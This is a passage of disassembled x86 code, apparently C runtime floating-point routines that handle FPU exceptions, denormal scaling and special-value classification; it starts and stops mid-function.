jz short loc_42B8B6
cmp [ebp+var_10], 300h
jz short loc_42B8A7
jmp short loc_42B8D8
; ---------------------------------------------------------------------------
loc_42B8A7: ; CODE XREF: sub_42B610+293j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_42B8D8
; ---------------------------------------------------------------------------
loc_42B8B6: ; CODE XREF: sub_42B610+28Aj
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 4
mov edx, [ebp+arg_0]
mov [edx], ecx
jmp short loc_42B8D8
; ---------------------------------------------------------------------------
loc_42B8C8: ; CODE XREF: sub_42B610+281j
mov eax, [ebp+arg_0]
mov ecx, [eax]
and ecx, 0FFFFFFE3h
or ecx, 8
mov edx, [ebp+arg_0]
mov [edx], ecx
loc_42B8D8: ; CODE XREF: sub_42B610+295j
; sub_42B610+2A4j ...
mov eax, [ebp+arg_C]
and eax, 0FFFh
shl eax, 5
mov ecx, [ebp+arg_0]
mov edx, [ecx]
and edx, 0FFFE001Fh
or edx, eax
mov eax, [ebp+arg_0]
mov [eax], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
or edx, 1
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ecx+20h]
and edx, 0FFFFFFE1h
or edx, 2
mov eax, [ebp+arg_0]
mov [eax+20h], edx
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_10]
mov eax, [edx]
mov [ecx+10h], eax
mov edx, [edx+4]
mov [ecx+14h], edx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
or ecx, 1
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [eax+50h]
and ecx, 0FFFFFFE1h
or ecx, 2
mov edx, [ebp+arg_0]
mov [edx+50h], ecx
mov eax, [ebp+arg_0]
mov ecx, [ebp+arg_14]
mov edx, [ecx]
mov [eax+40h], edx
mov ecx, [ecx+4]
mov [eax+44h], ecx
call sub_42C2D0
lea edx, [ebp+arg_0]
push edx
push 1
push 0
mov eax, [ebp+var_4]
push eax
call ds:dword_4F54EC ; RaiseException
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 4
and edx, 1
test edx, edx
jz short loc_42B98D
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFFEh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_42B98D: ; CODE XREF: sub_42B610+36Ej
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
shr ecx, 3
and ecx, 1
test ecx, ecx
jz short loc_42B9A9
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0FBh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_42B9A9: ; CODE XREF: sub_42B610+38Bj
mov edx, [ebp+arg_0]
mov eax, [edx+8]
shr eax, 2
and eax, 1
test eax, eax
jz short loc_42B9C6
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and edx, 0FFFFFFF7h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_42B9C6: ; CODE XREF: sub_42B610+3A7j
mov ecx, [ebp+arg_0]
mov edx, [ecx+8]
shr edx, 1
and edx, 1
test edx, edx
jz short loc_42B9E2
mov eax, [ebp+arg_4]
mov ecx, [eax]
and ecx, 0FFFFFFEFh
mov edx, [ebp+arg_4]
mov [edx], ecx
loc_42B9E2: ; CODE XREF: sub_42B610+3C3j
mov eax, [ebp+arg_0]
mov ecx, [eax+8]
and ecx, 1
test ecx, ecx
jz short loc_42B9FB
mov edx, [ebp+arg_4]
mov eax, [edx]
and al, 0DFh
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_42B9FB: ; CODE XREF: sub_42B610+3DDj
mov edx, [ebp+arg_0]
mov eax, [edx]
and eax, 3
mov [ebp+var_14], eax
cmp [ebp+var_14], 3
ja short loc_42BA59
mov ecx, [ebp+var_14]
jmp off_42BAC1[ecx*4]
loc_42BA16: ; DATA XREF: _0:0042BACDo
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 0Ch
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_42BA59
; ---------------------------------------------------------------------------
loc_42BA28: ; CODE XREF: sub_42B610+3FFj
; DATA XREF: _0:0042BAC9o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 8
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_42BA59
; ---------------------------------------------------------------------------
loc_42BA3A: ; CODE XREF: sub_42B610+3FFj
; DATA XREF: _0:0042BAC5o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
or ah, 4
mov ecx, [ebp+arg_4]
mov [ecx], eax
jmp short loc_42BA59
; ---------------------------------------------------------------------------
loc_42BA4C: ; CODE XREF: sub_42B610+3FFj
; DATA XREF: _0:off_42BAC1o
mov edx, [ebp+arg_4]
mov eax, [edx]
and ah, 0F3h
mov ecx, [ebp+arg_4]
mov [ecx], eax
loc_42BA59: ; CODE XREF: sub_42B610+3FAj
; sub_42B610+416j ...
mov edx, [ebp+arg_0]
mov eax, [edx]
shr eax, 2
and eax, 7
mov [ebp+var_18], eax
cmp [ebp+var_18], 0
jz short loc_42BA7B
cmp [ebp+var_18], 1
jz short loc_42BA8D
cmp [ebp+var_18], 2
jz short loc_42BA9F
jmp short loc_42BAAC
; ---------------------------------------------------------------------------
loc_42BA7B: ; CODE XREF: sub_42B610+45Bj
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 3
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_42BAAC
; ---------------------------------------------------------------------------
loc_42BA8D: ; CODE XREF: sub_42B610+461j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
or dh, 2
mov eax, [ebp+arg_4]
mov [eax], edx
jmp short loc_42BAAC
; ---------------------------------------------------------------------------
loc_42BA9F: ; CODE XREF: sub_42B610+467j
mov ecx, [ebp+arg_4]
mov edx, [ecx]
and dh, 0F3h
mov eax, [ebp+arg_4]
mov [eax], edx
loc_42BAAC: ; CODE XREF: sub_42B610+469j
; sub_42B610+47Bj ...
mov ecx, [ebp+arg_0]
mov edx, [ebp+arg_14]
mov eax, [ecx+40h]
mov [edx], eax
mov ecx, [ecx+44h]
mov [edx+4], ecx
mov esp, ebp
pop ebp
retn
sub_42B610 endp
; ---------------------------------------------------------------------------
off_42BAC1 dd offset loc_42BA4C ; DATA XREF: sub_42B610+3FFr
dd offset loc_42BA3A
dd offset loc_42BA28
dd offset loc_42BA16
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BAE0 proc near ; CODE XREF: sub_42B480+12p
; _0:0042B552p
var_44 = dword ptr -44h
var_40 = qword ptr -40h
var_38 = qword ptr -38h
var_30 = qword ptr -30h
var_28 = qword ptr -28h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = qword ptr -10h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 44h
mov eax, [ebp+arg_0]
and eax, 1Fh
mov [ebp+var_4], eax
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_42BB1A
mov edx, [ebp+arg_8]
and edx, 1
test edx, edx
jz short loc_42BB1A
push 1
call sub_42C330
add esp, 4
mov eax, [ebp+var_4]
and al, 0F7h
mov [ebp+var_4], eax
jmp loc_42BE1E
; ---------------------------------------------------------------------------
loc_42BB1A: ; CODE XREF: sub_42BAE0+17j
; sub_42BAE0+21j
mov ecx, [ebp+arg_0]
and ecx, 4
test ecx, ecx
jz short loc_42BB45
mov edx, [ebp+arg_8]
and edx, 4
test edx, edx
jz short loc_42BB45
push 4
call sub_42C330
add esp, 4
mov eax, [ebp+var_4]
and al, 0FBh
mov [ebp+var_4], eax
jmp loc_42BE1E
; ---------------------------------------------------------------------------
loc_42BB45: ; CODE XREF: sub_42BAE0+42j
; sub_42BAE0+4Cj
mov ecx, [ebp+arg_0]
and ecx, 1
test ecx, ecx
jz loc_42BCC1
mov edx, [ebp+arg_8]
and edx, 8
test edx, edx
jz loc_42BCC1
push 8
call sub_42C330
add esp, 4
mov eax, [ebp+arg_8]
and eax, 0C00h
mov [ebp+var_20], eax
cmp [ebp+var_20], 800h
ja short loc_42BBA0
cmp [ebp+var_20], 800h
jz short loc_42BBF5
cmp [ebp+var_20], 0
jz short loc_42BBB2
cmp [ebp+var_20], 400h
jz loc_42BC35
jmp loc_42BCB3
; ---------------------------------------------------------------------------
loc_42BBA0: ; CODE XREF: sub_42BAE0+9Dj
cmp [ebp+var_20], 0C00h
jz loc_42BC75
jmp loc_42BCB3
; ---------------------------------------------------------------------------
loc_42BBB2: ; CODE XREF: sub_42BAE0+ACj
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 41h
jnz short loc_42BBD7
mov edx, dword ptr ds:dbl_454150
mov dword ptr [ebp+var_28], edx
mov eax, dword ptr ds:dbl_454150+4
mov dword ptr [ebp+var_28+4], eax
jmp short loc_42BBE2
; ---------------------------------------------------------------------------
loc_42BBD7: ; CODE XREF: sub_42BAE0+E2j
fld ds:dbl_454150
fchs
fstp [ebp+var_28]
loc_42BBE2: ; CODE XREF: sub_42BAE0+F5j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_28]
mov [ecx], edx
mov eax, dword ptr [ebp+var_28+4]
mov [ecx+4], eax
jmp loc_42BCB3
; ---------------------------------------------------------------------------
loc_42BBF5: ; CODE XREF: sub_42BAE0+A6j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 41h
jnz short loc_42BC1A
mov edx, dword ptr ds:dbl_454150
mov dword ptr [ebp+var_30], edx
mov eax, dword ptr ds:dbl_454150+4
mov dword ptr [ebp+var_30+4], eax
jmp short loc_42BC25
; ---------------------------------------------------------------------------
loc_42BC1A: ; CODE XREF: sub_42BAE0+125j
fld ds:dbl_454160
fchs
fstp [ebp+var_30]
loc_42BC25: ; CODE XREF: sub_42BAE0+138j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_30]
mov [ecx], edx
mov eax, dword ptr [ebp+var_30+4]
mov [ecx+4], eax
jmp short loc_42BCB3
; ---------------------------------------------------------------------------
loc_42BC35: ; CODE XREF: sub_42BAE0+B5j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 41h
jnz short loc_42BC5A
mov edx, dword ptr ds:dbl_454160
mov dword ptr [ebp+var_38], edx
mov eax, dword ptr ds:dbl_454160+4
mov dword ptr [ebp+var_38+4], eax
jmp short loc_42BC65
; ---------------------------------------------------------------------------
loc_42BC5A: ; CODE XREF: sub_42BAE0+165j
fld ds:dbl_454150
fchs
fstp [ebp+var_38]
loc_42BC65: ; CODE XREF: sub_42BAE0+178j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_38]
mov [ecx], edx
mov eax, dword ptr [ebp+var_38+4]
mov [ecx+4], eax
jmp short loc_42BCB3
; ---------------------------------------------------------------------------
loc_42BC75: ; CODE XREF: sub_42BAE0+C7j
mov ecx, [ebp+arg_4]
fld qword ptr [ecx]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 41h
jnz short loc_42BC9A
mov edx, dword ptr ds:dbl_454160
mov dword ptr [ebp+var_40], edx
mov eax, dword ptr ds:dbl_454160+4
mov dword ptr [ebp+var_40+4], eax
jmp short loc_42BCA5
; ---------------------------------------------------------------------------
loc_42BC9A: ; CODE XREF: sub_42BAE0+1A5j
fld ds:dbl_454160
fchs
fstp [ebp+var_40]
loc_42BCA5: ; CODE XREF: sub_42BAE0+1B8j
mov ecx, [ebp+arg_4]
mov edx, dword ptr [ebp+var_40]
mov [ecx], edx
mov eax, dword ptr [ebp+var_40+4]
mov [ecx+4], eax
loc_42BCB3: ; CODE XREF: sub_42BAE0+BBj
; sub_42BAE0+CDj ...
mov ecx, [ebp+var_4]
and ecx, 0FFFFFFFEh
mov [ebp+var_4], ecx
jmp loc_42BE1E
; ---------------------------------------------------------------------------
loc_42BCC1: ; CODE XREF: sub_42BAE0+6Dj
; sub_42BAE0+7Bj
mov edx, [ebp+arg_0]
and edx, 2
test edx, edx
jz loc_42BE1E
mov eax, [ebp+arg_8]
and eax, 10h
test eax, eax
jz loc_42BE1E
mov [ebp+var_8], 0
mov ecx, [ebp+arg_0]
and ecx, 10h
test ecx, ecx
jz short loc_42BCF5
mov [ebp+var_8], 1
loc_42BCF5: ; CODE XREF: sub_42BAE0+20Cj
mov edx, [ebp+arg_4]
fld qword ptr [edx]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 40h
jnz loc_42BDFE
lea eax, [ebp+var_18]
push eax ; int
mov ecx, [ebp+arg_4]
mov edx, [ecx+4]
push edx
mov eax, [ecx]
push eax ; double
call sub_42C170
add esp, 0Ch
fstp [ebp+var_10]
mov ecx, [ebp+var_18]
sub ecx, 600h
mov [ebp+var_14], ecx
cmp [ebp+var_14], 0FFFFFBCEh
jge short loc_42BD51
fld [ebp+var_10]
fmul ds:dbl_43D2F0
fstp [ebp+var_10]
mov [ebp+var_8], 1
jmp loc_42BDEE
; ---------------------------------------------------------------------------
loc_42BD51: ; CODE XREF: sub_42BAE0+257j
fld [ebp+var_10]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 1
jz short loc_42BD6A
mov [ebp+var_44], 1
jmp short loc_42BD71
; ---------------------------------------------------------------------------
loc_42BD6A: ; CODE XREF: sub_42BAE0+27Fj
mov [ebp+var_44], 0
loc_42BD71: ; CODE XREF: sub_42BAE0+288j
mov edx, [ebp+var_44]
mov [ebp+var_1C], edx
mov ax, word ptr [ebp+var_10+6]
and ax, 0Fh
mov word ptr [ebp+var_10+6], ax
mov cx, word ptr [ebp+var_10+6]
or cl, 10h
mov word ptr [ebp+var_10+6], cx
jmp short loc_42BD99
; ---------------------------------------------------------------------------
loc_42BD90: ; CODE XREF: sub_42BAE0+2FEj
mov edx, [ebp+var_14]
add edx, 1
mov [ebp+var_14], edx
loc_42BD99: ; CODE XREF: sub_42BAE0+2AEj
cmp [ebp+var_14], 0FFFFFC03h
jge short loc_42BDE0
mov eax, dword ptr [ebp+var_10]
and eax, 1
test eax, eax
jz short loc_42BDB9
cmp [ebp+var_8], 0
jnz short loc_42BDB9
mov [ebp+var_8], 1
loc_42BDB9: ; CODE XREF: sub_42BAE0+2CAj
; sub_42BAE0+2D0j
mov ecx, dword ptr [ebp+var_10]
shr ecx, 1
mov dword ptr [ebp+var_10], ecx
mov edx, dword ptr [ebp+var_10+4]
and edx, 1
test edx, edx
jz short loc_42BDD6
mov eax, dword ptr [ebp+var_10]
or eax, 80000000h
mov dword ptr [ebp+var_10], eax
loc_42BDD6: ; CODE XREF: sub_42BAE0+2E9j
mov ecx, dword ptr [ebp+var_10+4]
shr ecx, 1
mov dword ptr [ebp+var_10+4], ecx
jmp short loc_42BD90
; ---------------------------------------------------------------------------
loc_42BDE0: ; CODE XREF: sub_42BAE0+2C0j
cmp [ebp+var_1C], 0
jz short loc_42BDEE
fld [ebp+var_10]
fchs
fstp [ebp+var_10]
loc_42BDEE: ; CODE XREF: sub_42BAE0+26Cj
; sub_42BAE0+304j
mov edx, [ebp+arg_4]
mov eax, dword ptr [ebp+var_10]
mov [edx], eax
mov ecx, dword ptr [ebp+var_10+4]
mov [edx+4], ecx
jmp short loc_42BE05
; ---------------------------------------------------------------------------
loc_42BDFE: ; CODE XREF: sub_42BAE0+225j
mov [ebp+var_8], 1
loc_42BE05: ; CODE XREF: sub_42BAE0+31Cj
cmp [ebp+var_8], 0
jz short loc_42BE15
push 10h
call sub_42C330
add esp, 4
loc_42BE15: ; CODE XREF: sub_42BAE0+329j
mov edx, [ebp+var_4]
and edx, 0FFFFFFFDh
mov [ebp+var_4], edx
loc_42BE1E: ; CODE XREF: sub_42BAE0+35j
; sub_42BAE0+60j ...
mov eax, [ebp+arg_0]
and eax, 10h
test eax, eax
jz short loc_42BE45
mov ecx, [ebp+arg_8]
and ecx, 20h
test ecx, ecx
jz short loc_42BE45
push 20h
call sub_42C330
add esp, 4
mov edx, [ebp+var_4]
and edx, 0FFFFFFEFh
mov [ebp+var_4], edx
loc_42BE45: ; CODE XREF: sub_42BAE0+346j
; sub_42BAE0+350j
xor eax, eax
cmp [ebp+var_4], 0
setz al
mov esp, ebp
pop ebp
retn
sub_42BAE0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42BE60(int,int,int,int,int,int,double,int)
sub_42BE60 proc near ; CODE XREF: sub_42B3B0+2Ap
; _0:0042B44Ap ...
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = qword ptr -8
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = qword ptr 20h
arg_20 = dword ptr 28h
push ebp
mov ebp, esp
sub esp, 20h
mov eax, [ebp+arg_4]
push eax
call sub_42BF40
add esp, 4
mov [ebp+var_1C], eax
cmp [ebp+var_1C], 0
jz short loc_42BED7
mov ecx, [ebp+arg_0]
mov [ebp+var_20], ecx
mov edx, [ebp+arg_8]
mov [ebp+var_18], edx
mov eax, [ebp+arg_C]
mov [ebp+var_14], eax
mov ecx, [ebp+arg_10]
mov [ebp+var_10], ecx
mov edx, [ebp+arg_14]
mov [ebp+var_C], edx
mov eax, dword ptr [ebp+arg_18]
mov dword ptr [ebp+var_8], eax
mov ecx, dword ptr [ebp+arg_18+4]
mov dword ptr [ebp+var_8+4], ecx
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_42C2F0
add esp, 8
lea eax, [ebp+var_20]
push eax
call sub_431F50
add esp, 4
test eax, eax
jnz short loc_42BED2
mov ecx, [ebp+arg_0]
push ecx
call sub_42BF00
add esp, 4
loc_42BED2: ; CODE XREF: sub_42BE60+64j
fld [ebp+var_8]
jmp short loc_42BEF7
; ---------------------------------------------------------------------------
loc_42BED7: ; CODE XREF: sub_42BE60+19j
push 0FFFFh
mov edx, [ebp+arg_20]
push edx
call sub_42C2F0
add esp, 8
mov eax, [ebp+arg_0]
push eax
call sub_42BF00
add esp, 4
fld [ebp+arg_18]
loc_42BEF7: ; CODE XREF: sub_42BE60+75j
mov esp, ebp
pop ebp
retn
sub_42BE60 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BF00 proc near ; CODE XREF: sub_42B480+92p
; _0:0042B5EEp ...
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
mov [ebp+var_4], eax
cmp [ebp+var_4], 1
jz short loc_42BF1E
cmp [ebp+var_4], 1
jle short loc_42BF36
cmp [ebp+var_4], 3
jle short loc_42BF2B
jmp short loc_42BF36
; ---------------------------------------------------------------------------
loc_42BF1E: ; CODE XREF: sub_42BF00+Ej
call sub_429A90
mov dword ptr [eax], 21h
jmp short loc_42BF36
; ---------------------------------------------------------------------------
loc_42BF2B: ; CODE XREF: sub_42BF00+1Aj
call sub_429A90
mov dword ptr [eax], 22h
loc_42BF36: ; CODE XREF: sub_42BF00+14j
; sub_42BF00+1Cj ...
mov esp, ebp
pop ebp
retn
sub_42BF00 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BF40 proc near ; CODE XREF: sub_42BE60+Ap
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov [ebp+var_4], 0
jmp short loc_42BF56
; ---------------------------------------------------------------------------
loc_42BF4D: ; CODE XREF: sub_42BF40:loc_42BF77j
mov eax, [ebp+var_4]
add eax, 1
mov [ebp+var_4], eax
loc_42BF56: ; CODE XREF: sub_42BF40+Bj
cmp [ebp+var_4], 1Bh
jge short loc_42BF79
mov ecx, [ebp+var_4]
mov edx, ds:dword_454078[ecx*8]
cmp edx, [ebp+arg_0]
jnz short loc_42BF77
mov eax, [ebp+var_4]
mov eax, ds:off_45407C[eax*8]
jmp short loc_42BF7B
; ---------------------------------------------------------------------------
loc_42BF77: ; CODE XREF: sub_42BF40+29j
jmp short loc_42BF4D
; ---------------------------------------------------------------------------
loc_42BF79: ; CODE XREF: sub_42BF40+1Aj
xor eax, eax
loc_42BF7B: ; CODE XREF: sub_42BF40+35j
mov esp, ebp
pop ebp
retn
sub_42BF40 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42BF80 proc near ; CODE XREF: sub_42B480+4Ap
; _0:0042B5A2p
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+arg_0]
and eax, 20h
test eax, eax
jz short loc_42BF97
mov [ebp+var_4], 5
jmp short loc_42BFEA
; ---------------------------------------------------------------------------
loc_42BF97: ; CODE XREF: sub_42BF80+Cj
mov ecx, [ebp+arg_0]
and ecx, 8
test ecx, ecx
jz short loc_42BFAA
mov [ebp+var_4], 1
jmp short loc_42BFEA
; ---------------------------------------------------------------------------
loc_42BFAA: ; CODE XREF: sub_42BF80+1Fj
mov edx, [ebp+arg_0]
and edx, 4
test edx, edx
jz short loc_42BFBD
mov [ebp+var_4], 2
jmp short loc_42BFEA
; ---------------------------------------------------------------------------
loc_42BFBD: ; CODE XREF: sub_42BF80+32j
mov eax, [ebp+arg_0]
and eax, 1
test eax, eax
jz short loc_42BFD0
mov [ebp+var_4], 3
jmp short loc_42BFEA
; ---------------------------------------------------------------------------
loc_42BFD0: ; CODE XREF: sub_42BF80+45j
mov ecx, [ebp+arg_0]
and ecx, 2
test ecx, ecx
jz short loc_42BFE3
mov [ebp+var_4], 4
jmp short loc_42BFEA
; ---------------------------------------------------------------------------
loc_42BFE3: ; CODE XREF: sub_42BF80+58j
mov [ebp+var_4], 0
loc_42BFEA: ; CODE XREF: sub_42BF80+15j
; sub_42BF80+28j ...
mov eax, [ebp+var_4]
mov esp, ebp
pop ebp
retn
sub_42BF80 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C000 proc near ; CODE XREF: _0:0042C099p
; sub_42C170+ECp ...
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov eax, [ebp+arg_0]
mov dword ptr [ebp+var_C], eax
mov ecx, [ebp+arg_4]
mov dword ptr [ebp+var_C+4], ecx
mov edx, [ebp+arg_8]
add edx, 3FEh
mov [ebp+var_4], edx
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 800Fh
mov ecx, [ebp+var_4]
shl ecx, 4
or eax, ecx
mov word ptr [ebp+var_C+6], ax
fld [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_42C000 endp
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
push ecx
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
mov [ebp-4], ax
mov cx, [ebp-4]
sub cx, 3FEh
mov [ebp-4], cx
movsx eax, word ptr [ebp-4]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
mov eax, [ebp+0Eh]
and eax, 0FFFFh
and eax, 7FF0h
sar eax, 4
movsx ecx, ax
mov edx, [ebp+10h]
lea eax, [ecx+edx-3FEh]
push eax
mov ecx, [ebp+0Ch]
push ecx
mov edx, [ebp+8]
push edx
call sub_42C000
add esp, 0Ch
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
push ebp
mov ebp, esp
sub esp, 8
mov eax, [ebp+8]
mov [ebp-8], eax
mov ecx, [ebp+0Ch]
mov [ebp-4], ecx
mov edx, [ebp+0Eh]
and edx, 0FFFFh
and edx, 800Fh
mov eax, [ebp+10h]
shl eax, 4
or edx, eax
mov [ebp-2], dx
fld qword ptr [ebp-8]
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42C0F0 proc near ; CODE XREF: sub_41FFF0+3Fp
; sub_420210+3Fp
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp [ebp+arg_4], 7FF00000h
jnz short loc_42C109
cmp [ebp+arg_0], 0
jnz short loc_42C109
mov eax, 1
jmp short loc_42C16A
; ---------------------------------------------------------------------------
loc_42C109: ; CODE XREF: sub_42C0F0+Aj
; sub_42C0F0+10j
cmp [ebp+arg_4], 0FFF00000h
jnz short loc_42C11F
cmp [ebp+arg_0], 0
jnz short loc_42C11F
mov eax, 2
jmp short loc_42C16A
; ---------------------------------------------------------------------------
loc_42C11F: ; CODE XREF: sub_42C0F0+20j
; sub_42C0F0+26j
mov eax, [ebp+arg_4+2]
and eax, 0FFFFh
and eax, 7FF8h
cmp eax, 7FF8h
jnz short loc_42C13A
mov eax, 3
jmp short loc_42C16A
; ---------------------------------------------------------------------------
loc_42C13A: ; CODE XREF: sub_42C0F0+41j
mov ecx, [ebp+arg_4+2]
and ecx, 0FFFFh
and ecx, 7FF8h
cmp ecx, 7FF0h
jnz short loc_42C168
mov edx, [ebp+arg_4]
shl edx, 0Dh
test edx, edx
jnz short loc_42C161
cmp [ebp+arg_0], 0
jz short loc_42C168
loc_42C161: ; CODE XREF: sub_42C0F0+69j
mov eax, 4
jmp short loc_42C16A
; ---------------------------------------------------------------------------
loc_42C168: ; CODE XREF: sub_42C0F0+5Fj
; sub_42C0F0+6Fj
xor eax, eax
loc_42C16A: ; CODE XREF: sub_42C0F0+17j
; sub_42C0F0+2Dj ...
pop ebp
retn
sub_42C0F0 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_42C170(double,int)
sub_42C170 proc near ; CODE XREF: sub_42BAE0+239p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = qword ptr -0Ch
var_4 = dword ptr -4
arg_0 = qword ptr 8
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 14h
fld [ebp+arg_0]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 40h
jz short loc_42C1A0
mov dword ptr [ebp+var_C], 0
mov dword ptr [ebp+var_C+4], 0
mov [ebp+var_4], 0
jmp loc_42C29A
; ---------------------------------------------------------------------------
loc_42C1A0: ; CODE XREF: sub_42C170+14j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 7FF0h
test eax, eax
jnz loc_42C269
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 0Ch
test ecx, ecx
jnz short loc_42C1C9
cmp dword ptr [ebp+arg_0], 0
jz loc_42C269
loc_42C1C9: ; CODE XREF: sub_42C170+4Dj
mov [ebp+var_4], 0FFFFFC03h
fld [ebp+arg_0]
fcomp ds:dbl_43D2F0
fnstsw ax
test ah, 1
jz short loc_42C1E9
mov [ebp+var_14], 1
jmp short loc_42C1F0
; ---------------------------------------------------------------------------
loc_42C1E9: ; CODE XREF: sub_42C170+6Ej
mov [ebp+var_14], 0
loc_42C1F0: ; CODE XREF: sub_42C170+77j
mov edx, [ebp+var_14]
mov [ebp+var_10], edx
loc_42C1F6: ; CODE XREF: sub_42C170+C3j
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
and eax, 10h
test eax, eax
jnz short loc_42C235
mov ecx, dword ptr [ebp+arg_0+4]
shl ecx, 1
mov dword ptr [ebp+arg_0+4], ecx
mov edx, dword ptr [ebp+arg_0]
and edx, 80000000h
test edx, edx
jz short loc_42C222
mov eax, dword ptr [ebp+arg_0+4]
or al, 1
mov dword ptr [ebp+arg_0+4], eax
loc_42C222: ; CODE XREF: sub_42C170+A8j
mov ecx, dword ptr [ebp+arg_0]
shl ecx, 1
mov dword ptr [ebp+arg_0], ecx
mov edx, [ebp+var_4]
sub edx, 1
mov [ebp+var_4], edx
jmp short loc_42C1F6
; ---------------------------------------------------------------------------
loc_42C235: ; CODE XREF: sub_42C170+93j
mov ax, word ptr [ebp+arg_0+6]
and ax, 0FFEFh
mov word ptr [ebp+arg_0+6], ax
cmp [ebp+var_10], 0
jz short loc_42C252
mov cx, word ptr [ebp+arg_0+6]
or ch, 80h
mov word ptr [ebp+arg_0+6], cx
loc_42C252: ; CODE XREF: sub_42C170+D5j
push 0
mov edx, dword ptr [ebp+arg_0+4]
push edx
mov eax, dword ptr [ebp+arg_0]
push eax
call sub_42C000
add esp, 0Ch
fstp [ebp+var_C]
jmp short loc_42C29A
; ---------------------------------------------------------------------------
loc_42C269: ; CODE XREF: sub_42C170+3Fj
; sub_42C170+53j
push 0
mov ecx, dword ptr [ebp+arg_0+4]
push ecx
mov edx, dword ptr [ebp+arg_0]
push edx
call sub_42C000
add esp, 0Ch
fstp [ebp+var_C]
mov eax, dword ptr [ebp+arg_0+6]
and eax, 0FFFFh
